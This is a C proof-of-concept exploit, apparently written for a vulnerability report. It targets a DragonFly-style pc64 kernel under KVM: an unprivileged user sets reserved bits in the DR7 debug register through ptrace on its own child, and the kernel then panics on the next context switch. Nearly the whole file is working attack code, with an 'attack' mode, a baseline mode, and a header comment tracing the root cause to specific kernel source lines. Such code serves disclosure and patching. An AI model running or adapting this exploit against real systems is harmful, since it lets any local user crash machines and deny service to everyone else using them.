DF-5657 / poc.c
/* * DF-5657 PoC -- pc64 set_dbregs() stores dr[7] into pcb->pcb_dr7 with the * architecturally-reserved bits 63:32 completely unvalidated * (sys/platform/pc64/x86_64/machdep.c:3166-3220). On the next context * switch into the tracee, cpu_heavy_restore() loads %dr7 with only bits * 10..15 masked (sys/platform/pc64/x86_64/swtch.s:597-617). Under KVM the * host kvm_set_dr() raises #GP(0) for any nonzero bit in DR7[63:32], so the * guest takes a ring-0 #GP in the middle of a context switch -> not at * doreti_iret -> trap_fatal() -> kernel panic. * * Unprivileged: any user ptrace()ing its own child. * * usage: poc [mode] [dr7hex] * mode 1 = baseline, dr7 = 0 (expect: no crash) * mode 2 = attack, dr7 = 0xdeadbeef00000000 (expect: panic on resume) */ #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <unistd.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #define PT_SETDBREGS_38 38 struct dbreg64 { unsigned long dr[16]; }; int main(int argc, char **argv) { unsigned long mode = 2; unsigned long magic = 0xdeadbeef00000000UL; pid_t child; int st; struct dbreg64 db; if (argc > 1) mode = strtoul(argv[1], 0, 0); if (argc > 2) magic = strtoull(argv[2], 0, 0); child = fork(); if (child == 0) { ptrace(PT_TRACE_ME, 0, NULL, 0); raise(SIGSTOP); pause(); /* parent continues us; we just idle */ _exit(0); } if (waitpid(child, &st, 0) < 0 || !WIFSTOPPED(st)) { fprintf(stderr, "[-] child did not stop as expected: %x\n", st); return 1; } printf("[*] child %d stopped (sig %d)\n", child, WSTOPSIG(st)); memset(&db, 0, sizeof(db)); if (mode == 2) db.dr[7] = magic; /* reserved bits 63:32 set; no bp enabled */ if (ptrace(PT_SETDBREGS_38, child, (caddr_t)&db, 0) == -1) { fprintf(stderr, "[-] PT_SETDBREGS: %s\n", strerror(errno)); kill(child, SIGKILL); return 1; } printf("[+] PT_SETDBREGS(dr7=0x%016lx) ACCEPTED by kernel\n", db.dr[7]); printf("[*] PT_CONTINUE -> tracee switches in -> movq %%rax,%%dr7\n"); fflush(stdout); ptrace(PT_CONTINUE, child, (caddr_t)1, 0); sleep(10); printf("[-] guest still alive after 10s (no panic observed)\n"); kill(child, SIGKILL); return 0; } |